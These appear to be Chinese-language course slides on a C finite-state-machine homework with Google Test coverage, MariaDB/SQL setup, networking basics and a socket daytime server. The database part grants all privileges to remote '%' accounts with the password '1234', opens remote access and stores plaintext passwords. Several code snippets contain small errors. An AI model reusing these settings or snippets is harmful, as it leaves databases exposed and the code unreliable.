- 列舉型別 (enumeration)，使程式易於閱讀、了解、修改
  - 列舉所宣告的變數，有哪些值，第一個符號其值預設為0，後面依序加1
  - state_t，是自訂資料型別，值有 start, build_id, build_num，其值分別為 0, 1, 2。

```
typedef enum {start, build_id, build_num} state_t;
state_t x1, x2;
x1 = start;
x2 = build_num;
printf("%d, %d\", x1, x2);  //印出 0, 1
```

黑箱測試方法 Homework

```
#include <stdio.h>          // FMS.c
#include <ctype.h>
typedef enum {start, build_id, build_num, build_invalid, identifier, number, invalid, stop} state_t;
state_t getNextState(state_t current_state, char ch) {
  if (current_state == start) {
     if (ch == ' ') return start;
     else if (isalpha(ch)) return build_id;
     else if (isdigit(ch)) return build_num;
     else if (ch=='#') return stop;
  }
  if (current_state == build_id) {
    if (isalpha(ch)||isdigit(ch)||(ch=='_')) return build_id;
    else if (ch==' ') return identifier;
  }
  if (current_state == build_num) {
    if (isdigit(ch)) return build_num;
    else if (ch==' ') return number;
  }
  else return -1;
}
```

黑箱測試方法 Homework

- 使用有限狀態機解題，只處理identifier, Number

```
void FMS() {
    char input_char;
    state_t current_state;
    current_state = start;
    do {
      if (current_state==identifier) {
        printf(" - identifier\n");
        current_state = start;
      }
      else if (current_state==number) {
        printf(" - number\n");
        current_state = start;
      }
      scanf("%c", &input_char);
      if (input_char != ' ') printf("%c", input_char);
      current_state = getNextState(current_state, input_char);
    } while (current_state!=stop);
}
int main() {     FMS();     return 0; }
```

黑箱測試方法 Homework

- 設計 test.txt

```
rate R2D2 2 time 55566 23  12 #
```

- 編譯 fms.c
- 執行 fms.c 測試

APPENDIX Google Test白箱測試

```
#include <stdio.h>                    // fms.cpp
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
typedef enum {start, build_id, build_num, build_invalid, identifier, number, invalid, stop} state_t;
state_t getNextState(state_t current_state, char ch) {
  if (current_state == start) {
     if (ch == ' ')
        return start;
     else if (isalpha(ch))
        return build_id;
     else if (isdigit(ch)) return build_num;
     else if (ch=='#') return stop;
  }
  if (current_state == build_id) {
    if (isalpha(ch)||isdigit(ch)||(ch=='_'))
       return build_id;
    else if (ch==' ')
       return identifier;
  }
  if (current_state == build_num) {
    if (isdigit(ch))
       return build_num;
    else if (ch==' ')
       return number;
  }
  else return stop;
}
```

APPENDIX Google Test白箱測試

```
char * FMS(char *s) {                    // fms.cpp
    char out[80];
    char *output = (char*) malloc(sizeof(char)*500);
    char input_char;
    int index=0;
    state_t current_state;
    current_state = start;
    strcpy(output,"");
    do {
      if (current_state==identifier) {
        current_state = start;
        sprintf(out," - identifier\n");
        strcat(output, out);
      }
      else if (current_state==number) {
        current_state = start;
        sprintf(out," - number\n");
        strcat(output, out);
      }
      //scanf("%c", &input_char);
      input_char = s[index++];
      if ((input_char != ' ')&&(input_char != '#')) {
         sprintf(out, "%c", input_char);
         strcat(output, out);
      }
      current_state = getNextState(current_state, input_char);
    } while (current_state!=stop);
    return output;
}
```

黑箱測試方法 Homework

- run.sh

```
#!/bin/bashg++ -pg -fprofile-arcs -ftest-coverage fms.cpp ut.cpp -o ut -lgtest –lpthread
./ut
gcov -c -b fms.cpp
lcov -c -o ut.info -d . --rc lcov_branch_coverage=1
genhtml ut.info -o report --branch-coverage
```

```
//fms.h
char * FMS(char *s);
```

```
// ut.cpp
#include <cstdlib>
#include <gtest/gtest.h>
#include "fms.h"
TEST( fmsTest , HandleInput ) {
   char s[]="rate R2D2 2 time 55566 23  12 #";
   char expOutput[] = "rate - identifier\nR2D2 - identifier\n2 - number\ntime - identifier\n55566 - number\n23 - number\n12 - number\n";
   ASSERT_STREQ(expOutput, FMS(s));
}
int main( int argc , char **argv ){
   testing :: InitGoogleTest( &argc , argv ) ;
   return RUN_ALL_TESTS( ) ;
}
```

黑箱測試方法 Homework

- ./run.sh

```
jykuo@DESKTOP-CE8JI9C:/mnt/d/Test/googleTest$ ./run.sh
[==========] Running 1 test from 1 test case.
[----------] Global test environment set-up.
[----------] 1 test from fmsTest
[ RUN      ] fmsTest.HandleInput
[       OK ] fmsTest.HandleInput (0 ms)
[----------] 1 test from fmsTest (14 ms total)

[----------] Global test environment tear-down
[==========] 1 test from 1 test case ran. (381 ms total)
[  PASSED  ] 1 test.
File 'fms.cpp'
Lines executed:95.12% of 41
Branches executed:100.00% of 40
Taken at least once:87.50% of 40
Calls executed:100.00% of 1
```

APPENDIX Google Test白箱測試

LCOV - code coverage report

Current view:	top level - mnt/d/Test/googleTest - fms.cpp (source / functions)		Hit	Total	Coverage
Test:	ut.info	**Lines:**	39	41	95.1 %
Date:	2020-04-02 17:09:09	**Functions:**	2	2	100.0 %
		Branches:	35	40	87.5 %

```
          Branch data     Line data    Source code
       1                :            : #include <stdio.h>
       2                :            : #include <stdlib.h>
       3                :            : #include <ctype.h>
       4                :            : #include <string.h>
       5                :            : typedef enum
       6                :            : {start, build_id, build_num, build_invalid,
       7                :            : identifier, number, invalid, stop}
       8                :            : state_t;
       9                :         31 : state_t getNextState(state_t current_state, char ch) {
      10        [ +  + ]:         31 :    if (current_state == start) {
      11        [ +  + ]:          9 :        if (ch == ' ')
      12                :          1 :            return start;
      13        [ +  + ]:          8 :        else if (isalpha(ch))
      14                :          3 :            return build_id;
      15 [ +  + ][ +  + ]:          5 :        else if (isdigit(ch)) return build_num;
      16        [ +  - ]:          1 :        else if (ch=='#') return stop;
      17                :            :    }
      18        [ +  + ]:         22 :    if (current_state == build_id) {
      19 [ +  + ][ +  + ]:         12 :       if (isalpha(ch)||isdigit(ch)||(ch=='_'))
                [ -  + ]
      20                :          9 :           return build_id;
      21        [ +  - ]:          3 :       else if (ch==' ')
      22                :          3 :           return identifier;
      23                :            :    }
      24        [ +  - ]:         10 :    if (current_state == build_num) {
      25 [ +  + ][ +  + ]:         10 :       if (isdigit(ch))
      26                :          6 :           return build_num;
      27        [ +  - ]:          4 :       else if (ch==' ')
      28                :          4 :           return number;
      29                :            :    }
      30                :          0 :    else return stop;
      31                :          0 : }
      32                :          1 : char * FMS(char *s) {
      33                :            :     char out[80];
      34                :          1 :     char *output = (char*) malloc(sizeof(char)*500);
      35                :            :     char input_char;
      36                :          1 :     int index=0;
      37                :            :     state_t current_state;
      38                :          1 :     current_state = start;
      39                :          1 :     strcpy(output,"");
      40                :         30 :     do {
      41        [ +  + ]:         31 :        if (current_state==identifier) {
      42                :          3 :           current_state = start;
      43                :          3 :           sprintf(out," - identifier\n");
      44                :          3 :           strcat(output, out);
      45                :            :        }
      46        [ +  + ]:         28 :        else if (current_state==number) {
      47                :          4 :           current_state = start;
      48                :          4 :           sprintf(out," - number\n");
      49                :          4 :           strcat(output, out);
      50                :            :        }
```

Exercise

```
int main() {
    int kg = 52, height = 155;
    double expectedResult = 21.64f;
    double result = computeBMI(kg, height);
    assert(fabs(result-expectedResult)<0.0001);
    assert(computeBMI(0,0)==0);
    assert(computeBMI(100,0)==0);
    assert(computeBMI(52,100)==-2);
    assert(computeBMI(42,155)==-1);
    printf("Hi\n");
    return 0;
}
```

6rte - Invalid
r_yg - Identifier
t#ee - Invalid

SQL

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

安裝資料庫mariadb

- 安裝MySQL資料庫
  - MySQL資料庫，Open source版本稱為 **mariadb**
  - 安裝指令
    - sudo apt install mariadb-server
- 啟動服務管理機制，查看執行狀態
  - sudo systemctl status mariadb

```
File  Edit  View  Search  Terminal  Help
kjy@ubuntu:~$ sudo systemctl status mariadb
[sudo] password for kjy:
● mariadb.service - MariaDB 10.1.47 database server
   Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; vendor preset:
   Active: active (running) since Sat 2021-01-30 18:07:40 PST; 21min ago
     Docs: man:mysqld(8)
           https://mariadb.com/kb/en/library/systemd/
```

  - 查看服務啟動狀況後，按q跳出

資料庫mariadb

- 在Linux Terminal有幾種mode
  - Linux command
    - 使用Linux指令

```
File  Edit  View  Search  Terminal  Help
kjy@ubuntu:~$
```

  - mariadb command
    - 進入MySQL
    - 使用SQL指令

```
File  Edit  View  Search  Terminal  Help
kjy@ubuntu:~$ sudo mysql -u root
[sudo] password for kjy:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 30
Server version: 10.1.47-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
```

  - 進入文字編輯器
    - 在Linux command，執行 gedit a.txt 編輯文字檔a.txt

```
File  Edit  View  Search  Terminal  Help
kjy@ubuntu:~$ gedit a.txt
```

設定資料庫

- 顯示User資訊，使用者資訊在資料庫 mysql的資料表user中
  - 從Linux Terminal進入MySQL資料庫
    - sudo mysql -u root
  - 在MySQL中，使用SQL顯示使用者資訊
    - SELECT User, Host, plugin FROM mysql.user;

```
kjy@ubuntu:~$ sudo mysql -u root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 42
Server version: 10.1.47-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> SELECT User, Host, plugin FROM mysql.user;
+------+-----------+-------------+
| User | Host      | plugin      |
+------+-----------+-------------+
| root | localhost | unix_socket |
+------+-----------+-------------+
1 row in set (0.01 sec)
```

  - 選擇SQL指令說明
    - **SELECT** 資料欄位1,資料欄位2 **FROM** 資料表格名稱
    - **SELECT * FROM** 資料表格

建立使用者

- SQL指令
  - 顯示所有資料庫
    - **show databases;**

```
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)
```

  - 使用資料庫 mysql
    - **use mysql;**

```
MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
```

  - 顯示所有資料表名稱
    - show tables;

建立使用者

- SQL指令
  - 造資料庫的 user，把 username換成學號，自設password。
    - CREATE USER 'kjy'@'%' IDENTIFIED BY '1234';
      - %是允許從任何電腦連線
  - 提升權限
    - GRANT ALL PRIVILEGES ON *.* TO 'kjy'@'%';
  - 更新設定權限
    - **FLUSH PRIVILEGES;**
  - 跳出 MySQL
    - **exit;**

SQL指令說明

- 造資料庫的 user，把 username換成學號，自設password。
  - **CREATE USER** 'username'@'%' **IDENTIFIED BY** 'password';
    - %是允許從任何電腦連線
- 提升權限
  - **GRANT ALL PRIVILEGES ON** *.* **TO** 'username'@'%';
- 更新資料欄位
  - **UPDATE** 資料庫表單 **SET** 資料表欄位='新值' **WHERE** 資料庫欄位='條件值';

進入 MySQL

- 在Linux Terminal，重新啟動mysql
  - service mysql restart
- 在Linux Terminal，使用kjy登入MySQL，要接著輸入密碼
  - mysql -u kjy -p
    - 1234

```
kjy@ubuntu:~$ service mysql restart
kjy@ubuntu:~$ mysql -u kjy -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 30
Server version: 10.1.47-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
```

- **登入 mysql，才可以使用 SQL 指令**

設定外部連線

- MySQL安裝後只允許從 localhost連進資料庫，若要從遠端連線需修改設定和權限。
  - 修改設定檔
    - MariaDB的設定檔預設是 /etc/mysql/mariadb.conf.d/50-server.cnf
      - sudo gedit /etc/mysql/mariadb.conf.d/50-server.cnf
      - bind-address = 127.0.0.1 ，在這行前加入 # 註解。

設定外部連線

- Mysql安裝後只允許從 localhost連進資料庫，若要從遠端連線需修改設定和權限。
  - 給予使用者外部連線的權限(之前做過這裡可跳過)
    - 先連入 mariaDB mysql -u root
    - 輸入 grant privileges on *.* to 'root'@'%' identified by 'yourpassword';
    - 把 root 改成自訂使用者名稱，yourpassword改成自訂密碼
    - 再輸入 flush privileges; ，更新新的權限。
    - 使用 service mysql restart 不會立即套用新設定。
    - 必須重啟後才能套用新設定， sudo reboot

建立資料庫

- **create database** ec2;
- **show database**;

```
MariaDB [(none)]> create database ec2;
Query OK, 1 row affected (0.00 sec)

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| ec2                |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)
```

```
CREATE TABLE 資料表名稱 (
  欄位名稱1 INT NOT NULL AUTO_INCREMENT,
  欄位名稱2 varchar(20) NOT NULL,
   ...
  PRIMARY KEY(欄位名稱n )
);
```

```
use ec2;
CREATE TABLE customer (
  id INT NOT NULL AUTO_INCREMENT,
  name varchar(20) NOT NULL,
  passwd varchar(20),
  point INT NOT NULL,
  vip INT NOT NULL,
  PRIMARY KEY(id)
);
```

建立資料庫

- **INT: 整數資料型別**
- **varchar(20): 可變長度字元，最多20個**
- **NOT NULL: 資料值不可為空值**
- **AUTO_INCREMENT: 自動加一，不需要給值**
- **PRIMARY KEY: 主鍵，識別此筆資料的欄位**

```
CREATE TABLE 資料表名稱 (
  欄位名稱1 INT NOT NULL AUTO_INCREMENT,
  欄位名稱2 varchar(20) NOT NULL,
   ...
  PRIMARY KEY(欄位名稱n )
);
```

建立資料表

- show tables;

```
use ec2;
CREATE TABLE promote (
  id INT NOT NULL AUTO_INCREMENT,
  status INT NOT NULL,
  discount INT NOT NULL,
  mass INT NOT NULL,
  vipDiscount INT NOT NULL,
  PRIMARY KEY(id)
);
```

```
use ec2;
CREATE TABLE store (
  id INT NOT NULL AUTO_INCREMENT,
  type varchar(20) NOT NULL,
  title varchar(20) NOT NULL,
  price INT NOT NULL,
  PRIMARY KEY(id)
);
```

新增資料表的值

- show tables;

```
MariaDB [ec2]> show tables;
+---------------+
| Tables_in_ec2 |
+---------------+
| customer      |
| promote       |
| store         |
+---------------+
3 rows in set (0.00 sec)
```

```
INSERT INTO customer (name, passwd, point, vip)
  VALUES ("Tom", "1234", 100, 1);
INSERT INTO promote (status, discount, mass, vipDiscount)
  VALUES (0, 80, 100, 95);
INSERT INTO store (type, title, price)
  VALUES ("Book", "Java", 50);
```

INSERT INTO 資料表 (欄位名稱1,欄位名稱2, 欄位名稱3,...)
VALUES (欄位1的值,欄位2的值,欄位3的值, ...);

顯示資料表值

```
SELECT * FROM customer;
SELECT * FROM promote;
SELECT * FROM store;
```

```
MariaDB [ec2]> SELECT * FROM customer;
+----+------+--------+-------+-----+
| id | name | passwd | point | vip |
+----+------+--------+-------+-----+
|  1 | Tom  | 1234   |   100 |   1 |
+----+------+--------+-------+-----+
1 row in set (0.00 sec)

MariaDB [ec2]> SELECT * FROM promote;
+----+---------+----------+------+-------------+
| id | promote | discount | mass | vipDiscount |
+----+---------+----------+------+-------------+
|  1 |       0 |       80 |  100 |          95 |
+----+---------+----------+------+-------------+
1 row in set (0.00 sec)

MariaDB [ec2]> SELECT * FROM store;
+----+------+-------+-------+
| id | type | title | price |
+----+------+-------+-------+
|  1 | Book | Java  |    50 |
+----+------+-------+-------+
1 row in set (0.00 sec)
```

Exercise

- 新增資料
  - 新增三筆product資料

```
INSERT INTO store (type, title, price)
  VALUES ("Book", "C++", 100);
INSERT INTO store (type, title, price)
  VALUES ("Book", "PHP", 20);
INSERT INTO store (type, title, price)
  VALUES ("Book", "Python", 90);
```

Exercise

- 更新資料

```
use ec2;
update promote set status=1 where id=1;
```

- 查詢資料

```
use ec2;
select * from store where price=50;
```

Network Concept

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

大綱

- 網路簡介
- OSI七層架構
- TCP/IP
- TCP與UDP
- IP Address
- DNS網域名稱
- Port (通訊埠)
- RFC (Request for Comments)
- 網路結構與區域網路

網路簡介

- ARPANET
  - 60至70年代，美國國防部高等研究計畫署(Advanced Research Projects Agency, ARPA)基於軍事、學術與研究單位需要，發展電腦通訊及電腦資源共享計劃，稱為ARPANET (ARPA Network)。
  - 早期ARPANET網路上的電腦主機是透過IMP (Interface Message Processor)介面處理主機間訊息的交換、偵測所傳遞之封包 (Packet)是否有錯誤以及資料重傳等。
  - IMP與主機間是以串列 (Serial)方式連結，主機與主機間，以56 kbps專線互相連結。

ARPANET (cont.)

- 1969年12月美國設立四個網路節點，分別為UCLA、UCSB、鹽湖城的猶它大學及加州史丹佛研究所。
- 1970年6月新增RAND公司及System Development Company (SDC)、麻省理工學院、哈佛大學以及Bolt Beranek and Newman公司，共計全美九個網路節點。

** ARPANET Maps：http://som.csudh.edu/cis/lpress/history/arpamaps/

Berkeley Socket API

- ARPANET發展期間，加州柏克萊大學開發出Berkeley Software Distribution Unix (BSD Unix) 作業系統
- 為能將校內電腦連成網路，整合BSD Unix作業系統與TCP/IP通訊協定
- 開發應用程式與網路硬體及協定間的應用程式介面(Application Programming Interface, API)，即Berkeley Socket API，是後來各種作業系統在支援網路應用程式開發的基礎
- Java亦提供支援網路功能的java.net API，也是以Berkeley Socket API為基礎所開發的

OSI 7 Layer Reference Model

- ISO 的 OSI 7 Layer Reference Model 是目前共同網路設計參考模型
  - ISO 指 International Organization for Standardization
  - OSI 表示Open System Interconnection，OSI 7 Layer 將網路運作概分為七層，而TCP/IP 網路實際上並沒有分得如此詳細

Physical Layer

- 實體層主要是負責實體傳輸媒介的規格訂定
- 例如纜線(Cable) 、光纖(Fiber)、雙絞線(Twisted Pair)以及連接端的規格，其中亦包括了傳輸的訊號種類及轉換等

Data Link Layer

- 確保節點間(node-to-node)透過實體層能正確有效傳輸

Data Link Layer (cont.)

- 資料鏈結層負責將最初步的資料編碼與資料封裝為傳送框訊(Frame)
- 每一Ethernet網卡中有唯一的 48 bits的編號，稱為實體層位址 (MAC Address 或是 Physical Address)
  - MAC 代表 Media Access Control

Network Layer

- 主要功能為Packet 繞送 (Routing) 與選擇路由 (Route)，封包切割 (Fragmentation) 等。
  - 最著名例子是TCP/IP中的IP (Internet Protocol)
  - 重要的位址觀念：IP Address
  - 使用connectionless，僅以best effort方式傳送資料，不保證資料送達，以方便上層(傳輸層TCP/UDP)控制

Transport Layer

- 連線建立與解除 (Connection Establishment /Tearing Down)
  - 如TCP (Transmission Control Protocol)
- 端點對端點 (End-to-End)、流量控制 (Flow Control)
  - 不是Node-to-Node Flow Control
- 壅塞控制 (Congestion Control)

Session Layer

- 因上層應用需求而建立的邏輯連結 (Logical Link)
  - 如：Microsoft Meets 等多人會談的Session 觀念。
- OSI 7 layer只是reference Model，事實上這些標準並沒有提到這是OSI Session Layer
- 建立Session 目的在決定參與這Session的設備能應用影音與文字通訊做正常溝通及決定資料壓縮與編碼方法

Presentation Layer

- 主要使應用層能了解與解譯傳送的資料內涵
  - 例如不同字元集 (Character Sets)，不同的文字編碼方式例如Base64、Uuencode或MIME type，或不同的檔案結構 (File Structure)、不同的加解密方法等
  - XDR (External Data Representation) 表示在應用層的應用程式NFS (Network File System) 必須了解遠端網路的檔案結構，才能將遠端的網路檔案經由Presentation Layer解析結構掛入本地的 (Local) 檔案結構中

Application Layer

- 以下大都是為了 Layer 7 而設計
  - HTTP (HyperText Transfer Protocol)
  - SMTP (Simple Mail Transport Protocol)
  - FTP (File Transfer Protocol)
  - VoIP (Voice over IP)

TCP/IP Protocol

- TCP/IP Protocol Suite分別為TCP（Transmission Control Protocol）及IP（Internet Protocol)
- 優點是允許不同規格的主機及作業系統，可透過TCP/IP建立網路通訊連結

OSI 7 Layer		TCP / IP
Application	7	Application Example：FTP, WWW, BBS, MSN
Presentation	6	
Session	5	
Transport	4	Transport Example：TCP, UDP
Network	3	Network Example：IP, Routing, ICMP
Data Link	2	Link Example：100 Mbps Ethernet
Physical	1	

TCP/IP Suite 示意圖

TCP (Transmission Control Protocol)

- TCP主要提供大量資料傳遞並確保其傳遞無誤，因此提供錯誤偵測、資料復原及資料重送等機制
- TCP 在傳遞資料前，會先在主機間（例如伺服端和用戶端）建立通訊連結，依據此通訊連結傳遞資料

雙向連接傳輸模式

UDP (User Datagram Protocol)

- UDP為Connectionless Protocol，與TCP不同的是，TCP在傳遞資料之前須先建立通訊連結，UDP則不需要
- 由於UDP不須先建立連線，因此省卻TCP建立連線所需時間。但UDP不提供資料錯誤偵測及資料重送機制，因此不確保資料能完整送達

IP Address

- 在Internet的環境中，每一台主機均有一個或一個以上的IP Address，以確保資料會正確無誤地傳送到所指定IP Address的主機
- IP Address為一32位元（2^{32}）的數值，通常以10進位的方式表示，並將32位元分為4個位元組，則每個位元組為2^8 = 256，因此IP Address的每一位元組可由0至255，並以“.”隔開

IP Address (cont.)

- IP Address分成兩個部分 — 網路（Network）和主機（Host）
- IP Address中主機與網路部份各佔用多少位元組並不一定，端賴網管人員根據網路上的主機數目決定應分配多少位元組給主機部份

IP Address Class

- IP Address分為五個不同的Class
  - Class A: 0.0.0.0 - 127.255.255.255
  - Class B: 128.0.0.0 - 191.255.255.255
  - Class C: 192.0.0.0 - 223.255.255.255
  - Class D: 224.0.0.0 - 239.255.255.255
  - Class E: 240.0.0.0 - 247.255.255.255

Internet Network Information Center

- 在Internet的IP Address是由Internet Network Information Center (InterNIC, http://www.internic.net) 所分配
- InterNIC主要負責IP Address與DNS網域名稱之註冊服務

網域名稱 (Domain Name)

- 由於IP Address較難記憶，在Internet中另外針對每一台主機給一網域名稱，以方便記憶與查詢之用
  - 例如常以“localhost”名稱代表“127.0.0.1”
- Domain Name System (DNS) 為一分散式系統，用以儲存IP Address與主機名稱之對映，並將網域主機名稱轉換成IP Address
- 網域名稱的定義方式是以樹狀結構方式表示，每一階層最多可以有63個字元表示，階層與階層間則以“.”隔開，如java.sun.com

第一級網域名稱

- 完整的網域名稱，稱為Fully Qualified Domain Name（FQDN）或Absolute Domain Name（ADN）
- 網域名稱的階層表示由右至左而降，最右邊名稱為DNS的第一層或稱第一級網域(Top-Level Domain)，例如“com”
- 目前已被認可的第一級網域名稱表示方式有兩種
  - 七種以三碼英文字母代表一般網域名稱(Generic Domain Name)

第一級	全名	說明
com	Company	公司組織
edu	Education	教育機構
gov	Government	政府機構
int	International	國際組織
mil	Military	國防機構
net	Network	網路機構
org	Organization	一般組織

第一級網域名稱 (cont.)

- 另一種是以兩碼英文字母代表國家或地域，此部份由ISO 3166制定
  - 例如：“hk”代表香港、“tw”代表台灣、“jp”代表日本、“uk”代表英國、“us”代表美國等
  - 此級網域名稱又稱為國家網域名稱（Country Domain Name）或地域網域名稱（Geographical Domain Name）。
  - 這種方式將一般網域名稱視為第二級網域，如www.yam.com.tw。也有一些國家是以兩碼英文字母代表第二級網域名稱，例如：“.co.jp”代表日本的公司企業組織

新增第一級網域名稱

第一級	全名	說明
aero	Air-Transport Industry	航空運輸業
biz	Businesses	公司企業
coop	Cooperatives	合作商社
info	Unrestricted Use	不受限制之使用
museum	Museum	博物館機構
name	For registration by individuals	個人註冊
pro	Accountants, Lawyers and Physicians	會計師、律師、醫師等專業人仕

**請參考http://www.icann.org/tlds

Port (通訊埠)

- IP Address與網域名稱用以定義電腦主機在Internet環境中的所在位置。透過通訊協定可於同一台主機提供不同類型的應用服務，如FTP、NNTP、SMTP、Telnet、HTTP等
- 通訊協定以通訊埠區隔Internet各應用服務，Port是以16位元（2^{16}）數值代表，同一主機上可使用由1至65535個Port所定義之Internet應用服務
- 最初1992年僅保留1至255的Port，而256至1023為UNIX的服務，其他的作業系統並不使用
- 由於Internet網際網路的廣泛，1至255的保留Port已不敷使用，因此將保留Port增至1023
- 不論何種作業系統，Port 1至1023所代表的應用服務皆相同

公認通訊埠

- 常見的公認通訊埠與其對應的Internet服務如下

Port	Service	Port	Service
7	echo	107	rtelnet
13	daytime	110	pop3
21	ftp	119	nntp
23	telnet	143	imap
25	smtp	161	snmp
43	whois	389	ldap
53	domain	443	https
70	gopher	513	login
79	finger	517	talk
80	http	540	uucp

Client's Port

- Client使用Server的應用服務時，需使用通訊埠與伺服端建立連結，但用戶端所使用通訊埠的意義與伺服端不同
- Server的Internet應用服務使用公認通訊埠，例如SMTP為Port 25、HTTP為Port 80等
- Client使用通訊埠僅是為了與Server建立通訊連結以使用Server之服務，所以Client使用的通訊埠為1024之後任一未被使用的通訊埠
- 欲瞭解Server與Client’s Ports的狀態，可於MS Windows的DOS環境下輸入“netstat –an”指令瞭解之

RFC (Request for Comments)

- RFC為制定Internet相關協定的標準規格文件
  - 每一RFC均賦於一序號
  - 內容很廣泛，包含Internet有關之協定、文件格式、術語(Terminology)、程序(Procedure)、指導方針(Guideline)、補遺(Addendum)等
  - 文件可分為Header和內文資訊
- 取得方法
  - http://www.rfc-editor.org/
  - http://info.internet.isi.edu/in-notes/rfc

常見的RFC

Protocol	RFC	Title
DHCP	2131	Dynamic Host Configuration Protocol
DNS	1034	Domain Names - Concepts and Facilities
FTP	959	File Transfer Protocol (FTP)
HTML	1866	Hypertext Markup Language - 2.0
HTTP	1945	Hypertext Transfer Protocol -- HTTP/1.0
HTTP	2068	Hypertext Transfer Protocol -- HTTP/1.1
IMAP	2060	IMAP4
POP	1081	Post Office Protocol - Version 3
SMTP	0821	Simple Mail Transfer Protocol
SMTP	0822	Standard for ARPA Internet Text Messages
SMTP	2822	Internet Message Format
TCP/IP	1379	Extending TCP for Transactions

Simple Client Server

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

大綱

- Daytime Client-Server
- Networking Sock APIs
- Client-Server Message Communications
- Client-Server Computing Communications
- Client-Server File Transfermation
- Fork process

建置環境

- 使用Ubuntu 18
  - sudo apt install gcc
  - sudo apt install make
  - sudo apt install make-guile
  - mkdir Test
  - cd Test
- 下載 unpv13e.tar.gz，http://www.unpbook.com/src.html
  - wget www.unpbook.com/unpv13e.tar.gz
- 儲存在一個目錄下，解壓
  - tar -xzvf unpv13e.tar.gz
- 執行配置
  - cd unpv13e
  - ./configure

建置環境

- 修正inet_ntop.c，把所有size_t size 改成socklen_t size
  - cd libfree
  - gedit inet_ntop.c
- 編譯三個lib目錄後，會在unpv13e目錄產生libunp.a檔案。
  - cd ..
  - cd lib
  - make
  - cd ../libfree
  - make
  - cd ../libgai
  - make

```
kjy@ubuntu:~/Test/unpv13e$ ls -al *.a
-rw-r--r-- 1 kjy kjy 760524 Dec 11 04:03 libunp.a
kjy@ubuntu:~/Test/unpv13e$
```

建置環境

- 複製編譯好的library (libunp.a)到系統 /usr的 library目錄
  - sudo cp libunp.a /usr/lib
  - sudo cp libunp.a /usr/lib64
- 複製lib目錄 unp.h，解壓目錄config.h，兩檔案到目錄net
  - cd ~/Test
  - cp ./unpv13e/lib/unp.h .
  - cp ./unpv13e/config.h .

```
kjy@ubuntu:~/Test$ cp ./unpv13e/lib/unp.h .
kjy@ubuntu:~/Test$ cp ./unpv13e/config.h .
kjy@ubuntu:~/Test$ ls -al
total 464
drwxr-xr-x  3 kjy kjy   4096 Dec 11 04:10 .
drwxr-xr-x 18 kjy kjy   4096 Dec 11 03:57 ..
-rw-r--r--  1 kjy kjy   9123 Dec 11 04:10 config.h
-rw-r--r--  1 kjy kjy  16735 Dec 11 04:10 unp.h
drwxr-xr-x 39 kjy kjy   4096 Dec 11 04:03 unpv13e
-rw-r--r--  1 kjy kjy 427480 Apr 27  2014 unpv13e.tar.gz
```

建置環境

- 修改 unp.h
  - #include "../config.h"改成#include "config.h"
  - 新增一行： #define MAX_LINE 2048

```
/* include unph */
/* Our own header.  Tabs are se

#ifndef __unp_h
#define __unp_h

#include        "config.h"

#define  MAX_LINE 2048
```

- 複製到/usr/lib目錄
  - sudo cp unp.h /usr/include
  - sudo cp config.h /usr/include

```
kjy@ubuntu:~/Test$ sudo cp unp.h /usr/include
kjy@ubuntu:~/Test$ sudo cp config.h /usr/include
kjy@ubuntu:~/Test$
```

Daytime Server

- 編輯後面 daytimetcpsrv.c程式
  - gedit daytimetcpsrv.c
- 編譯
  - gcc daytimetcpsrv.c -o daytimetcpsrv -lunp
- 執行
  - sudo ./daytimetcpsrv

```
kjy@ubuntu:~/Test$ sudo cp unp.h /usr/include
kjy@ubuntu:~/Test$ sudo cp config.h /usr/include
kjy@ubuntu:~/Test$ gedit daytimetcpsrv.c
kjy@ubuntu:~/Test$ gcc daytimetcpsrv.c -o daytimetcpsrv -lunp
kjy@ubuntu:~/Test$ sudo ./daytimetcpsrv
```

```
#include "unp.h"          //daytimetcpsrv.c
#include <time.h>
int main(int argc, char **argv) {
    int listenfd, connfd;
    struct sockaddr_in  servaddr;
    char  buff[MAXLINE];  //訊息緩衝區長度
    time_t ticks;
    listenfd = socket(AF_INET, SOCK_STREAM, 0);
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family= AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_port= htons(13);   /* daytime server port*/
    //Bind(listenfd, (SA *) &servaddr, sizeof(servaddr));
    Bind(listenfd, (struct sockaddr *) &servaddr, sizeof(servaddr));
    listen(listenfd, LISTENQ);
    for ( ; ; ) {
        connfd = accept(listenfd, (SA *) NULL, NULL);
        ticks = time(NULL);
        snprintf(buff, sizeof(buff), "=@>%.24s\r\n", ctime(&ticks));
        write(connfd, buff, strlen(buff));
        close(connfd);
    }
}
```

Daytime Server

- 程式運作
  - Create TCP socket: get a file descriptor
  - Bind the socket with its local port
  - Listen: convert the socket to a listening descriptor
  - Accept blocks to sleep
  - Accept returns a connected descriptor
  - Read/write
  - Close socket

Daytime Server

- 程式運作

Value-Result Argument

e.g. bind, connect, sendto

e.g. accept, recvfrom,
getsockname, getpeername

印出時間

- time_t time(time_t *timer)
  - long time_t
  - time(NULL)
    - 輸出從格林威治時間 1970年1月1號 0點0分0秒到現在的秒數
- char *ctime(const time_t *time);
